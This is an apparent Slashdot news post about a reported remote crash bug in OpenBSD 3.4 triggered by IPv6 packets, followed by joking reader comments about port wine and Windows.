Remotely Crash OpenBSD 407
*no comment* writes "If you are running OpenBSD on your IPv6 install, it might be time to upgrade to -current. (just kidding) There is, however, a way to crash OpenBSD 3.4 with a couple of simple IPv6 commands. Georgi Guninski, found the problem. To quote Theo, 'it is just a crash.'" It is unknown if the bug could be used to execute arbitrary code, but it does require patching a Linux kernel (or rolling your own network stack) to exploit.

The good thing about ports is that, due to their alcohol and tannin content, you *CAN* leave them open much longer than more typical wines. I have a nice port (Fonseca) sitting open on my bar at home. I take a couple of nips from it every evening, and then replace the glass stopper on the carafe. It is a wonderful way to end the work-day. Go grab yourself a 10-year Tawny and you'll see what I mean.
You do need to be careful with how many ports you have open. I find after a couple of ports my work product increases. After a few more, it tends to decrease, exponentially going downhill with each subsequent port. You need to be especially careful with a root prompt and several open ports late at night.
For extra kicks, blind taste a Tawny against a Madeira.
Enjoy.

Wrong. The openbsd people obviously included this "crash feature" just so that windows people could feel at home with OpenBSD. I think it's time for Windows folks to switch to OpenBSD.
